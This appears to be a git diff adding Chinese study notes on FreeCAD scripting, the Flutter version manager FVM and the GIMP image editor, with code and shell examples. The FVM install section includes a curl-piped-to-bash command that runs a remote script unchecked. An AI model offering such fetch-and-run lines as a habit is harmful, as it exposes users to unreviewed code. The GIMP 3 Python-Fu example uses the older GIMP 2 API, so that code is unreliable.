Pad(把草图正向拉伸加料) + ├── Pocket(把草图拉伸挖料) + ├── Hole / Fillet / Chamfer … + └── … +``` + +- **Body**:一个 Body 里最终应收敛为**一块**可制造的实体(多体需多个 Body 或布尔) +- **Sketch**:必须尽量**完全约束**(Fully constrained)——欠约束时几何会漂,过约束会报红 +- **Feature**:对 Body 的每一步增/减操作;顺序很重要:先 Pad 出底板,再 Pocket 挖孔 + +### 3. 草图约束(Sketcher Constraints) + +Sketcher 用约束代替「肉眼对齐」: + +| 约束类型 | 作用 | +| --- | --- | +| 水平 / 垂直 | 边与坐标轴平行 | +| 重合 / 相切 | 点在线上、圆与边相切 | +| 对称 | 相对原点或构造线对称 | +| 距离 / 半径 | 尺寸驱动——**参数化的灵魂** | +| 等长 / 平行 | 多实体之间关系 | + +**Master Sketch** 做法(官方教程常见):在一个草图里用命名约束 `length`、`width` 定义整体包络,后续特征引用同一参数——改一处,全模型联动。 + +### 4. BREP 与网格 + +FreeCAD 内部用 **BREP**(边界表示):面、边、顶点精确描述实体,适合 CNC 与参数编辑。导出 STL 时才**离散**成三角网格。这与 [[blender]] 默认网格建模不同——改 STL 上的三角面不会自动更新特征树。 + +### 5. 拓扑命名与版本选择 + +早期 FreeCAD 有个痛点:改草图后,下游特征可能因内部名字变化而「找不到面」。**0.22 / 1.0** 引入更稳定的命名策略。新手若跟教程,优先用**较新版本**,减少「上一步还好好的,改个尺寸就全红」的挫败感。 + +### 6. 文件与单位 + +- 项目文件:`.FCStd`(zip 包:几何、脚本、元数据) +- 默认长度单位常设为 **mm**(首选项 → 通用 → 单位) +- 导出:`File → Export` 选 STL、STEP、IGES;STEP 保留实体,方便与其他 CAD 交换 + +## 上手:第一个 Part Design 零件(逻辑步骤) + +以「底板 + 居中圆孔」为例(SD 卡托、支架底板都同构): + +1. 新建文档 → 切换到 **Part Design** +2. **Create body** → 自动出现 `Body` +3. **Create sketch** → 选 **XY 平面** → 画矩形 → 给长宽尺寸 → 用**对称约束**让矩形中心落在原点 +4. 关闭草图 → **Pad** 拉伸 3 mm +5. 在顶面 **Create sketch** → 画圆 → 约束半径 → 圆心约束到原点 +6. **Pocket** 贯穿挖孔 +7. `File → Export` → `holder.stl` + +全程没有手写代码,但特征树里每一步都可双击改尺寸——这就是参数化。 + +## 代码示例 + +### 示例 1:Part Design 程序化建 Body + 盒体 + 挖槽 + +适合批量生成支架、测试夹具: + +```python +import FreeCAD as App + +doc = App.newDocument("Bracket") + +body = doc.addObject("PartDesign::Body", "Body") + +# additive box: 基座 60×40×5 +box = doc.addObject("PartDesign::AdditiveBox", "Base") +box.Length = 60 +box.Width = 40 +box.Height = 5 +body.addObject(box) + +# subtractive box: 中间挖 30×20×5 的腔 +cut = doc.addObject("PartDesign::SubtractiveBox", "Pocket") +cut.Length = 30 +cut.Width = 20 +cut.Height = 5 +cut.Placement.Base = App.Vector(15, 10, 0) # 相对 Body 原点平移 +body.addObject(cut) + +doc.recompute() +``` + +`AdditiveBox` / `SubtractiveBox` 是 Part Design 的 primitive 特征,等价于 GUI 里的「加料方体 / 减料方体」。改 `Length` 后 `recompute()`,特征树整体刷新。 + +### 示例 2:草图 + Pad 经典流程(Python) + +与 GUI「画草图再拉伸」同构,适合写宏: + +```python +import FreeCAD as App +import Part + +doc = App.newDocument("PadDemo") +body = doc.addObject("PartDesign::Body", "Body") + +sk = doc.addObject("Sketcher::SketchObject", "Sketch") +body.addObject(sk) +# 附到 Body 的 XY 基准面(Origin 子对象索引因版本略异,GUI 建草图更稳) +# 此处用四条线画 50×30 矩形(单位 mm) +geoList = [ + App.Vector(-25, -15, 0), App.Vector(25, -15, 0), + App.Vector(25, 15, 0), App.Vector(-25, 15, 0), +] +sk.addGeometry(Part.LineSegment(geoList[0], geoList[1])) +sk.addGeometry(Part.LineSegment(geoList[1], geoList[2])) +sk.addGeometry(Part.LineSegment(geoList[2], geoList[3])) +sk.addGeometry(Part.LineSegment(geoList[3], geoList[0])) + +pad = doc.addObject("PartDesign::Pad", "Pad") +pad.Profile = sk +pad.Length = 10 +body.addObject(pad) + +doc.recompute() +``` + +实际项目里更推荐:**GUI 建第一版** → **Macro → 宏录制** → 再整理 Python。Sketcher 约束索引手写易错,录制能省大量时间。 + +### 示例 3:读属性、批量改尺寸 + +```python +import FreeCAD as App + +doc = App.ActiveDocument +for obj in doc.Objects: + if obj.TypeId == "PartDesign::Pad": + obj.Length = obj.Length * 1.1 # 所有 Pad 加厚 10% +doc.recompute() +``` + +参数化模型的价值:一组支架「统一加厚 1 mm」不必逐个双击特征。 + +## 与相近工具对比 + +| 维度 | FreeCAD | [[openscad]] | [[blender]] | Fusion 360 | +| --- | --- | --- | --- | --- | +| 交互 | GUI + 特征树为主 | 纯脚本 CSG | 网格/雕刻/动画 | GUI 特征树 | +| 参数化 | 草图约束 + 特征 | 变量 + module | 修改器(非机械特征树) | 工业级 | +| 学习曲线 | 中高 | 中(会编程则低) | 高(领域广) | 中 | +| 许可 | 开源免费 | 开源免费 | 开源免费 | 商业订阅 | +| 典型出口 | STEP、STL、工程图 | STL | FBX、渲染图 | 制造全流程 | + +## 常见坑 + +1. **没在 Body 里建特征**:Part Design 特征必须挂在 `Body` 下,否则 Pad/Pocket 灰色不可用 +2. **草图欠约束**:拖一下边,整图变形;看约束列表是否「Fully constrained」 +3. **特征顺序错**:先倒角再挖孔,与先挖孔再倒角,结果可能不同甚至失败 +4. **混用 Part 与 Part Design 布尔**:老手才玩;新手先单一 Body 走通 +5. **导出 STL 前未 recompute**:`Ctrl+Shift+R` 或 `doc.recompute()`,避免导出旧几何 +6. **宏路径与 import**:宏在 `Macro` 目录,扩展名 `.FCMacro`;`import` 需 `.py` 或配置 `sys.path` + +## 学习资源 + +- 官方文档:[FreeCAD-documentation wiki](https://github.com/FreeCAD/FreeCAD-documentation)(Part Design、Python scripting tutorial) +- 入门教程:*Creating a simple part with PartDesign*、*Basic Part Design Tutorial* +- 社区:FreeCAD 论坛、中文 QQ/论坛群、YouTube / B 站「Sketcher 约束」系列 +- 源码结构:`src/Mod/PartDesign`、`src/Mod/Sketcher` 对应工作台实现 + +## 在本知识库中的位置 + +- 分类预期:**图形学** → 与 CAD、3D 内容管线相关(运行 `classify-notes` 后写入 frontmatter) +- 上游:数学(约束求解)、工程制图常识 +- 下游:3D 打印切片、[[grbl]] CNC、[[open3d]] 点云与 CAD 是不同赛道 +- 相关笔记:[[openscad]]、[[blender]]、[[assimp]](网格导入)、[[buildroot]](设备外壳常配合打印件) + +--- + +*最后更新:2026-06-13* diff --git a/src/content/docs/projects/fvm.md b/src/content/docs/projects/fvm.md new file mode 100644 index 000000000..7eeb5703f --- /dev/null +++ b/src/content/docs/projects/fvm.md @@ -0,0 +1,289 @@ +--- +title: FVM — 按项目锁定 Flutter SDK 版本 +来源: https://github.com/leoafarias/fvm +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +FVM(**F**lutter **V**ersion **M**anagement)是一个命令行工具,让你在**同一台机器上安装多个 Flutter SDK,并按项目切换版本**。日常类比:Flutter 项目像不同型号的螺丝刀——有的老项目必须用 3.16 的「十字头」,新项目要上 3.22 的「内六角」。FVM 不是让你买一整箱新工具,而是在工具柜里按项目标签取出对应型号,用完再放回,互不干扰。 + +和 Node 生态里的 nvm、Python 里的 pyenv 是同一类问题:官方 Flutter 安装通常只有「全局一份 SDK」。团队里 A 项目锁 3.16、B 项目跟 stable,CI 又要和 `.fvmrc` 一致——没有版本管理器就只能反复卸载重装,或者各开一台虚拟机。 + +典型用法: + +```bash +cd my_flutter_app +fvm use 3.19.0 # 为当前项目钉住 Flutter 3.19.0 +fvm flutter doctor # 用项目版本跑 doctor +fvm flutter run # 用项目版本编译运行 +``` + +FVM 在 GitHub 上由 Leo Farias 维护([leoafarias/fvm](https://github.com/leoafarias/fvm)),文档站 [fvm.app](https://fvm.app),MIT 许可,Dart 实现,是 Flutter 社区事实上的 SDK 版本管理方案。 + +## 为什么重要 + +不写 FVM,下面这些场景都会踩坑: + +- 本地 `flutter --version` 是 3.22,同事和 CI 用 3.19,你本地能跑、线上构建失败 +- 想试 Flutter beta 新特性,又怕覆盖全局 SDK 把老项目搞挂 +- 打开 IDE 后 Dart Analysis 报一堆错,其实是 IDE 指向了错误的 Flutter 路径 +- 看团队 README 写「先 `fvm install` 再构建」,不知道 `.fvmrc` 和 `.fvm/flutter_sdk` 是干什么的 +- Monorepo 里多个 App 需要不同 Flutter 版本,只能手动改 PATH + +FVM 把「用哪个 Flutter」从个人习惯变成**可提交、可复现的项目配置**。 + +## 核心概念 + +### 1. 缓存目录 vs 项目链接 + +FVM 下载的 SDK 放在统一缓存里(默认类似 `~/.fvm/versions/`),不会每个项目各拷一份完整 SDK。`fvm use 3.19.0` 会在项目里创建 `.fvm/flutter_sdk` **符号链接**,指向缓存中的 3.19.0。类比:图书馆只有一套藏书(缓存),每个项目组领一张「指向第几排书架」的索引卡(symlink)。 + +### 2. `.fvmrc` — 项目的版本契约 + +在项目根目录运行 `fvm use` 后会生成 `.fvmrc`(或更新其中的 JSON),记录本项目应使用的 Flutter 版本,可含 flavors、是否自动改 VS Code 设置等: + +```json +{ + "flutter": "3.19.0", + "flavors": { + "development": "beta", + "production": "3.19.0" + }, + "updateVscodeSettings": true, + "updateGitIgnore": true, + "runPubGetOnSdkChanges": true +} +``` + +团队应**提交 `.fvmrc`**,新人 `git clone` 后执行 `fvm install` 即可对齐版本。`.fvm/flutter_sdk` symlink 体积小且会随 `fvm use` 重建,通常加入 `.gitignore`(FVM 可在 `updateGitIgnore: true` 时自动写入)。 + +### 3. `fvm flutter` 前缀 — 绕过全局 PATH + +系统 `PATH` 里可能还有另一个 `flutter`。在项目目录应通过 `fvm flutter ...` 调用,或把 alias 写进 shell 配置: + +```bash +alias flutter='fvm flutter' +alias dart='fvm dart' +``` + +这样当前目录有 FVM 配置时,命令自动走项目 SDK;没有配置时可回退全局(取决于你的 alias 写法)。 + +### 4. 全局默认 vs 项目级 + +- `fvm use 3.19.0`:仅当前项目(及子目录继承逻辑视 monorepo 结构而定) +- `fvm global 3.19.0`:设置机器级默认 Flutter,并把 `~/fvm/default` 链到该版本;需把 `$HOME/fvm/default/bin` 加入 PATH + +个人建议:**生产项目一律 `fvm use` 钉版本**;`global` 只作为「新开空项目时的默认」,不要和团队锁定混为一谈。 + +### 5. Flavors — 同一仓库多套 SDK 策略 + +大型团队可能开发用 beta、发布用 stable。FVM 支持 flavor: + +```bash +fvm use 3.19.0 --flavor development +fvm use 3.16.0 --flavor production +fvm flavor development flutter run +``` + +`.fvmrc` 里的 `flavors` 映射会一并保存。 + +### 6. Fork 与企业定制 Flutter + +公司自维护 Flutter fork 时,可用 `fvm fork add` 注册远程仓库,再 `fvm install company/stable`。环境变量 `FVM_FLUTTER_URL` 也可全局指定官方 git 镜像或内网地址。 + +### 7. IDE 集成 + +- **VS Code**:`fvm use` 后常自动更新 `.vscode/settings.json` 里的 `dart.flutterSdkPath` 指向 `.fvm/flutter_sdk` +- **Android Studio / IntelliJ**:手动把 Flutter SDK 路径设为项目内 `.fvm/flutter_sdk` 的**绝对路径**;切换版本后可能要重新选路径并 Sync Gradle(IDE 有时会把 symlink 解析成真实路径缓存) + +## 安装 + +macOS 推荐方式之一: + +```bash +# 官方安装脚本(Linux/macOS 通用) +curl -fsSL https://fvm.app/install.sh | bash + +# 或 Homebrew +brew tap leoafarias/fvm +brew install fvm +``` + +Windows 可用 Chocolatey:`choco install fvm`,或 Scoop bucket。也可用 `dart pub global activate fvm`,但若你打算用 FVM 管理**全局** Flutter,官方更推荐独立安装包而非 pub global。 + +安装后确认: + +```bash +fvm --version +fvm doctor +``` + +## 实践案例 + +### 案例 1:新项目从零钉版本 + +```bash +cd ~/projects/shop_app + +# 查看远端有哪些版本 +fvm releases + +# 安装并绑定 stable(或具体版本号) +fvm use stable --pin +# 等价于指定号:fvm use 3.19.0 + +# 验证 +fvm flutter --version +fvm flutter pub get +fvm flutter run +``` + +执行 `fvm use` 后项目根目录会出现 `.fvm/` 和 `.fvmrc`。把 `.fvmrc` 提交到 Git;确认 `.gitignore` 已忽略 `.fvm/flutter_sdk`(FVM 可自动处理)。 + +### 案例 2:克隆同事项目并对齐 CI + +```bash +git clone https://github.com/team/legacy_app.git +cd legacy_app + +# 读 .fvmrc,下载缺失 SDK +fvm install + +# 与 CI 相同的构建命令 +fvm flutter pub get +fvm flutter test +fvm flutter build apk --release +``` + +GitHub Actions 示例片段: + +```yaml +- name: Setup FVM + run: dart pub global activate fvm + +- name: Install Flutter SDK + run: fvm install + +- name: Build + run: fvm flutter build apk --release +``` + +### 案例 3:跨版本回归测试 + +不必切换项目配置,可用 `spawn` 在指定 SDK 下跑一次性命令: + +```bash +# 当前项目仍是 3.19.0 +fvm spawn 3.16.0 test +fvm spawn beta analyze +``` + +适合验证「这个 bug 是不是新版本才出现」。 + +### 案例 4:清理磁盘 + +```bash +fvm list # 看已安装版本 +fvm remove 3.13.0 # 删单个 +fvm remove --all # 清空(慎用) +``` + +多个项目共享同一份缓存里的 3.19.0,删除前确认没有项目仍引用该版本。 + +## 常用命令速查 + +| 命令 | 作用 | +|------|------| +| `fvm install [version]` | 下载 SDK 到缓存(不绑定项目) | +| `fvm use ` | 为当前项目绑定版本 | +| `fvm list` | 列出已安装版本 | +| `fvm releases` | 列出可安装的发布版本 | +| `fvm global ` | 设置全局默认 | +| `fvm flutter ` | 用项目 SDK 执行 flutter | +| `fvm spawn ` | 临时用某版本执行命令 | +| `fvm doctor` | 检查环境与 IDE 配置 | +| `fvm config` | 查看/修改全局配置(缓存路径等) | + +## 踩过的坑 + +1. **直接敲 `flutter` 没用 FVM**:PATH 里全局 Flutter 优先级更高,构建用的还是旧 SDK。团队规范应写清「本项目必须用 `fvm flutter` 或 alias」。 + +2. **没提交 `.fvmrc` 只口头说版本**:新人 `fvm install` 无从得知该装哪一版。版本契约必须进仓库。 + +3. **把 `.fvm/flutter_sdk` 提交进 Git**:symlink 在不同机器上目标路径不同,容易冲突;应只提交 `.fvmrc`。 + +4. **IDE 仍指向旧 SDK**:切换 `fvm use` 后 VS Code 需 Reload Window;Android Studio 可能要重新选 SDK 路径并 Invalidate Caches。 + +5. **CI 忘了 `fvm install`**:流水线只有 `flutter build` 会用 runner 自带 Flutter,与本地不一致。标准顺序:`activate fvm` → `fvm install` → `fvm flutter ...`。 + +6. **Monorepo 子模块未各自 `fvm use`**:每个 Flutter 包目录若需不同版本,要在对应目录执行 `fvm use`,IDE 模块也要指向各自的 `.fvm/flutter_sdk`。 + +## 适用 vs 不适用 + +**适用**: + +- 多 Flutter 项目并行维护 +- 团队需要与 CI 一致的 SDK 版本 +- 需要在 stable / beta / 旧版之间频繁切换或做矩阵测试 +- 使用自定义 Flutter fork 的企业环境 + +**不适用**: + +- 整个机器只有一个 Flutter 项目且版本从不变(全局安装够用) +- 纯容器构建且镜像已 `FROM` 固定 Flutter 版本(镜像即版本契约,不必再套 FVM) +- 不愿在命令前加 `fvm` 且也不配置 alias 的团队(容易误用全局 SDK) + +## 同类对比 + +| 工具 | 语言 | 定位 | 备注 | +|------|------|------|------| +| **FVM** | Dart | Flutter 专用,项目级 `.fvmrc` | Flutter 生态事实标准 | +| **asdf** | Shell | 多语言版本管理(含 flutter 插件) | 通用但 Flutter 体验不如 FVM 专精 | +| **手动 PATH** | — | 自己 export 不同目录 | 无项目级配置文件,难协作 | +| **nvm / pyenv** | — | Node / Python 版本管理 | 问题模型相同,语言不同 | + +若你熟悉 [[nvm]]:把 Node 换成 Flutter、`node` 换成 `flutter`、`nvm use` 换成 `fvm use`、`.nvmrc` 换成 `.fvmrc`,心智模型几乎一致。 + +## 环境变量(选读) + +| 变量 | 含义 | +|------|------| +| `FVM_CACHE_PATH` | Flutter SDK 缓存根目录 | +| `FVM_FLUTTER_URL` | 克隆 Flutter 的 git URL(镜像/fork) | +| `FVM_USE_GIT_CACHE` | 是否启用 git 引用缓存(加速安装) | +| `FVM_GIT_CACHE_PATH` | git 缓存路径 | + +## 学到什么 + +1. **版本管理器的本质**:集中缓存 + 项目级指针(symlink/配置),避免重复下载和全局污染 +2. **可复现构建**:`.fvmrc` 和 CI 里的 `fvm install` 把「我机器上能跑」变成「任何人、任何流水线都能跑」 +3. **IDE 是第二战场**:CLI 对了但 IDE 仍指向错误 SDK,分析器和编译器会分裂 +4. **与包管理分离**:FVM 管 SDK 版本;`pub get` 管 Dart 依赖——两者都要对齐 + +## 延伸阅读 + +- 官方仓库:[leoafarias/fvm](https://github.com/leoafarias/fvm) +- 文档:[fvm.app](https://fvm.app/documentation/getting-started) +- 工作流指南:[Common Workflows](https://fvm.app/documentation/guides/workflows) +- Flutter 官方安装(全局 SDK 背景):[docs.flutter.dev](https://docs.flutter.dev/get-started/install) + +## 关联 + +- [[nvm]] — Node 版本管理,概念平行 +- [[pyenv]] — Python 版本管理,同为 per-project 钉版本 +- [[expo]] — React Native 侧的工具链与 SDK 版本锁定(Expo SDK 与 RN 版本绑定) +- [[flutter-rust-bridge]] — Flutter 生态中的跨语言桥接项目 + +## 反向链接 + + + +- [[expo]] —— Expo — RN 的"开箱即用"工具链 + 云构建 + OTA 更新 +- [[flutter-rust-bridge]] —— flutter-rust-bridge — Dart 调 Rust 像调本地函数 +- [[nvm]] —— nvm — 在同一台机器上轻松切换 Node 版本 +- [[pyenv]] —— pyenv — 用 shim 把 python 命令拦截后路由到指定版本 + diff --git a/src/content/docs/projects/gimp.md b/src/content/docs/projects/gimp.md new file mode 100644 index 000000000..5cf87d3a6 --- /dev/null +++ b/src/content/docs/projects/gimp.md @@ -0,0 +1,307 @@ +--- +title: GIMP — GNU 图像处理程序 +来源: 'https://github.com/GNOME/gimp' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + +**GIMP**(GNU Image Manipulation Program,GNU 图像处理程序)是一款**免费开源**的位图图像编辑器,源码托管于 [GNOME/gimp](https://github.com/GNOME/gimp),采用 GPL 许可,跨 Windows / macOS / Linux。它对标 Adobe Photoshop 的通用修图能力:图层、蒙版、选区、曲线、滤镜、批处理脚本——但**不绑定订阅**,且 `.xcf` 工程文件保留完整编辑历史。 + +日常类比:如果把 [[inkscape]] 比作「用钢笔画可无限放大的施工图」,GIMP 更像**在暗房里冲洗、裁剪、调色、叠印照片**——每一张透明胶片(图层)可以单独调亮度,用剪纸模板(蒙版)只让天空变蓝,最后冲印成 JPEG 发朋友圈。再打个比方:像素画布是**固定分辨率的方格纸**,你在格子上涂色;GIMP 帮你管的是「哪一层涂什么、涂完还能不能反悔、怎么一次处理一百张照片」——让你专注修图,而不是和格式、授权搏斗。 + +2025 年 3 月发布的 **GIMP 3.0** 是七年开发的里程碑:非破坏性 GEGL 滤镜、多选图层、改进的文字描边与色域管理(GeglColor)。项目口号隐含在 GNU 精神里:**自由使用、自由修改、自由分发**。 + +## 为什么重要 + +零基础学图像处理或内容生产管线,绕不开 GIMP 的几个现实理由: + +- **零授权成本**:个人、教育、小规模商业均可免费使用,不像 Photoshop 订阅制 +- **图层 + 蒙版思维**:修图、合成、海报、缩略图、简单 UI 资产都建立在同一套概念上 +- **开放工程格式**:`.xcf` 保存图层、通道、路径、非破坏性滤镜;可反复打开继续改 +- **脚本自动化**:内置 **Script-Fu**(Scheme)与 **Python-Fu**,配合 `gimp-console` 可无界面批处理 +- **插件生态**:GEGL 滤镜、G'MIC、Resynthesizer 等扩展;与 [[inkscape]](矢量)、[[krita]](绘画)形成开源创作三角 + +## 核心要点 + +### 1. 位图 vs 矢量 + +| 类型 | 存储方式 | 放大 | 典型用途 | +| --- | --- | --- | --- | +| **位图(Raster)** | 像素矩阵 + 颜色值 | 放大会糊 | 照片、扫描件、笔刷绘画、网页位图 | +| **矢量(Vector)** | 数学曲线与属性 | 无限清晰 | Logo、图标、印刷线条稿 | + +GIMP 编辑**像素**;需要矢量 Logo 时用 [[inkscape]] 画完导出 PNG/SVG,再导入 GIMP 合成。 + +### 2. 图像、图层、通道与路径 + +GIMP 文档结构可类比 Photoshop: + +| 概念 | 类比 | 作用 | +| --- | --- | --- | +| **Image(图像)** | 一整本相册 | 画布尺寸、色彩配置、分辨率 | +| **Layer(图层)** | 透明胶片 | 独立编辑、混合模式、不透明度 | +| **Channel(通道)** | 只记录明暗的底片 | RGB、Alpha、选区保存为通道 | +| **Path(路径)** | 可弯曲的刀模 | 贝塞尔曲线,可转选区或描边 | +| **Selection(选区)** | 临时剪纸框 | 操作只影响框内像素 | + +**图层组(Layer Group)** 把多层打包,可整体移动、加滤镜;GIMP 3.0 起支持**多选图层**同时变换。 + +### 3. 蒙版(Mask) + +**图层蒙版**是附着在图层上的灰度图:白色=完全显示该层,黑色=完全隐藏,灰色=半透明。类比:在胶片上贴一张**渐变镂空模板**,只让天空区域接受调色,地面不受影响。 + +操作路径:**Layer → Mask → Add Layer Mask**,用画笔在蒙版上涂黑/白。GIMP 3.0 的非破坏性滤镜目前主要挂在图层或图层组上;若要对「仅天空」做曲线,常用技巧是:**先做好选区再应用滤镜**(选区会嵌入滤镜),或把调整放在**带蒙版的图层组**上。 + +### 4. 非破坏性编辑(GIMP 3.0 + GEGL) + +**GEGL**(Generic Graphics Library)是 GIMP 的图像处理管线。GIMP 3.0 默认让多数滤镜以**非破坏性**方式留在图层上(图层旁显示 **fx** 标记),可随时双击重调参数、开关、删除,而不必 Undo 一整串历史。 + +- 喜欢老工作流:应用滤镜时勾选 **Merge Filters** 立即合并到像素 +- 工程保存:NDE 滤镜可写入 `.xcf`,下次打开继续编辑(第三方滤镜需本机已安装) + +### 5. 色彩与文件格式 + +| 格式 | 角色 | +| --- | --- | +| **XCF** | GIMP 原生工程,保留图层/蒙版/路径/NDE 滤镜 | +| **PNG** | 无损,支持透明,适合 Web 与 UI | +| **JPEG** | 有损,适合照片分享,**不支持透明** | +| **TIFF / PSD** | 与印刷、Photoshop 交换(部分特性可能扁平化) | +| **WebP** | 现代 Web,体积更小 | + +GIMP 3.0 强化 **GeglColor** 与 ICC 配置:导出前在 **Image → Color Management** 确认显示与导出配置一致,避免「屏幕上好看、手机上发灰」。 + +### 6. 选区、变换与修复工具 + +零基础修照片常用工具链: + +1. **Crop(裁剪)** / **Scale(缩放)** — 构图与输出尺寸 +2. **Fuzzy Select(魔棒)** / **Free Select(套索)** — 抠图起点 +3. **Heal / Clone** — 去 blemish、仿制纹理 +4. **Levels / Curves** — 明暗与对比(可作 NDE 调整) +5. **Gaussian Blur** — 背景虚化或柔化边缘 + +**Unified Transform** 可一次完成移动、缩放、旋转、透视;多选图层后变换会同时作用。 + +### 7. 插件与 PDB(过程数据库) + +几乎所有菜单命令(含导入导出)在内部都是 **PDB 过程(Procedure)**。Script-Fu / Python-Fu 通过 PDB 调用 `gimp-file-load`、`gimp-image-scale` 等,与 GUI 同源——**你在界面里能点的,脚本里基本都能写**。 + +插件默认搜索路径包括用户目录下的 `plug-ins`;GIMP 3 的 Script-Fu 插件以独立进程运行,与 C 插件并列安装。 + +### 8. Script-Fu 与 Python-Fu + +| 方式 | 语言 | 特点 | +| --- | --- | --- | +| **Script-Fu** | Scheme | 内置,Filters → Script-Fu → Console | +| **Python-Fu** | Python 3 | Filters → Development → Python-Fu → Console | + +批处理、水印、批量缩放、格式转换是脚本最典型的场景。 + +## 界面与工作流速览 + +| 区域 | 作用 | +| --- | --- | +| 画布 | 中央编辑区,滚轮缩放,中键/空格拖动画布 | +| 工具箱 | 选择、画笔、橡皮、渐变、文字、修复… | +| 工具选项 | 当前工具参数(笔刷大小、硬度、模式) | +| 图层/通道/路径 dock | 管理图层栈、蒙版、保存的选区 | +| 滤镜菜单 | GEGL 与经典滤镜,多数在 GIMP 3 可非破坏性 | + +**零基础 10 分钟流程**:打开照片 → .duplicate 图层备份 → **Colors → Curves** 微调 → **Filters → Enhance → Sharpen** → 加图层蒙版局部恢复 → **File → Export As** 导出 PNG/JPEG。 + +## 实践案例 + +### 案例 1:Script-Fu 批量缩放并导出 JPEG + +将某文件夹内所有 JPG/PNG 长边缩到 1920px,输出到 `out/`(需已安装 GIMP,且 `gimp` 或 `gimp-console` 在 PATH): + +```scheme +;; batch-resize.scm — 在 GIMP 中:Filters → Script-Fu → Refresh Scripts 后也可注册为菜单项 +(define (batch-resize-folder source-dir dest-dir max-side) + (let* ((pattern (string-append source-dir "/*.{jpg,jpeg,png,JPG,PNG}")) + (files (cadr (file-glob pattern 0)))) + (map (lambda (path) + (let* ((image (car (gimp-file-load RUN-NONINTERACTIVE path path))) + (drawable (car (gimp-image-get-active-drawable image))) + (w (car (gimp-image-width image))) + (h (car (gimp-image-height image))) + (scale (if (> w h) (/ max-side w) (/ max-side h))) + (nw (round (* w scale))) + (nh (round (* h scale))) + (base (substring path (+ (string-length path) + (- (string-length (file-basename path)))))) + (out (string-append dest-dir "/" base ".jpg"))) + (gimp-image-scale-full image nw nh INTERPOLATION-CUBIC) + (file-jpeg-save RUN-NONINTERACTIVE image drawable out out 90 0 0 0 0 0 0) + (gimp-image-delete image))) + files))) + +;; 调用示例(路径按本机修改): +;; (batch-resize-folder "/tmp/in" "/tmp/out" 1920) +``` + +命令行无 GUI 执行(GIMP 3 使用 `gimp-console` 与 Script-Fu 解释器): + +```bash +gimp-console -i --batch-interpreter=plug-in-script-fu-eval \ + --batch='(load "/path/to/batch-resize.scm")' \ + --batch='(batch-resize-folder "/tmp/in" "/tmp/out" 1920)' \ + --batch='(gimp-quit 0)' +``` + +**要点**:`RUN-NONINTERACTIVE` 避免弹对话框;批处理结束务必 `gimp-quit`,否则进程挂起。 + +### 案例 2:Python-Fu 批量加水印 + +在 **Filters → Development → Python-Fu → Console** 可交互试验;保存为 `~/.config/GIMP/3.0/plug-ins/watermark-batch.py` 可变成菜单插件: + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +from gimpfu import * +import os +import glob + +def watermark_folder(src_dir, watermark_path, dest_dir, opacity=80.0): + for path in glob.glob(os.path.join(src_dir, "*.png")): + image = pdb.gimp_file_load(path, path) + wm = pdb.gimp_file_load(watermark_path, watermark_path) + wm_layer = pdb.gimp_image_get_active_layer(wm) + pdb.gimp_image_insert_layer(image, wm_layer, None, -1) + pdb.gimp_layer_set_opacity(wm_layer, opacity) + pdb.gimp_layer_set_offsets( + wm_layer, + pdb.gimp_image_width(image) - pdb.gimp_image_width(wm) - 20, + pdb.gimp_image_height(image) - pdb.gimp_image_height(wm) - 20, + ) + drawable = pdb.gimp_image_merge_visible_layers(image, CLIP_TO_IMAGE) + out = os.path.join(dest_dir, os.path.basename(path)) + pdb.file_png_save_defaults(image, drawable, out, out) + pdb.gimp_image_delete(image) + pdb.gimp_image_delete(wm) + +register( + "python_fu_watermark_folder", + "Batch watermark PNGs in a folder", + "", + "Study Notes", + "Study Notes", + "2026", + "", + "", + [ + (PF_DIRNAME, "src_dir", "Source folder", ""), + (PF_FILE, "watermark_path", "Watermark PNG", ""), + (PF_DIRNAME, "dest_dir", "Output folder", ""), + (PF_SLIDER, "opacity", "Opacity", 80.0, (0.0, 100.0, 1.0)), + ], + [], + [], + watermark_folder, + menu="/Filters/Study", + domain=("watermark-batch", gimp.locale_directory), +) + +main() +``` + +**要点**:水印用 **PNG 透明底**;`merge_visible_layers` 会扁平化——若需保留图层请改为直接 `file_png_save` 活动层组合。 + +### 案例 3:单张图命令行导出 WebP + +不写脚本,仅用 PDB 过程链(适合 CI 里一张预览图): + +```bash +gimp-console -i --batch-interpreter=plug-in-script-fu-eval \ + --batch='(let* ((img (car (gimp-file-load RUN-NONINTERACTIVE "logo.png" "logo.png"))) + (drw (car (gimp-image-get-active-drawable img)))) + (file-webp-save RUN-NONINTERACTIVE img drw "logo.webp" "logo.webp" 0 85 0 0 0 0 0) + (gimp-image-delete img))' \ + --batch='(gimp-quit 0)' +``` + +### 案例 4:非破坏性曲线 + 图层组蒙版(GIMP 3 工作流) + +1. 复制背景层为 **「调整组」** 内的唯一图层(或整组套住需调整的层) +2. 选中组 → **Colors → Curves**(或 **Filters → GEGL Operation**)→ 确认未勾选 Merge Filters +3. 在组上 **Add Layer Mask**,用黑白渐变让调整只作用于天空 +4. 随时点击 **fx** 重新编辑曲线;满意后 **File → Export** 交付扁平 PNG + +### 案例 5:与 [[inkscape]] 协作 + +1. Inkscape 导出 2× 分辨率 PNG(透明底图标) +2. GIMP 打开 → **Layer → Transparency → Alpha to Selection** 得精确选区 +3. 在选区内填色、加外发光(GEGL)、导出 Web 用 WebP + +## 常用快捷键 + +| 快捷键 | 功能 | +| --- | --- | +| `R` | 矩形选区 | +| `Shift+R` | 圆角矩形选区(GIMP 3) | +| `F` | 自由选择 / 套索 | +| `U` | 统一变换 | +| `M` | 移动图层/选区 | +| `P` | 画笔 | +| `E` | 橡皮 | +| `Ctrl+Shift+N` | 新建图层 | +| `Ctrl+M` | 添加图层蒙版 | +| `Ctrl+Shift+E` | 导出为 | +| `Ctrl+Z` / `Ctrl+Y` | 撤销 / 重做 | + +## 踩过的坑 + +1. **直接保存 JPEG 当工程**:JPEG 会合并图层;长期项目务必 **Save as XCF**。 +2. **忘记转换色彩配置**:Web 导出常用 sRGB;印刷需嵌入 ICC 并与对方确认。 +3. **批处理路径含空格**:Scheme 字符串要转义,或改用 Python `os.path`。 +4. **GIMP 2.x 脚本上 3.0**:PDB 类型有变(如 drawable ID → 对象数组),需按 [porting 文档](https://developer.gimp.org/resource/script-fu/porting_scriptfu_scripts/) 调整。 +5. **非破坏性滤镜与「合并」习惯**:交付前若只要扁平图,**Export** 即可;不必先 Merge 所有 fx,除非要兼容无 GIMP 的下游。 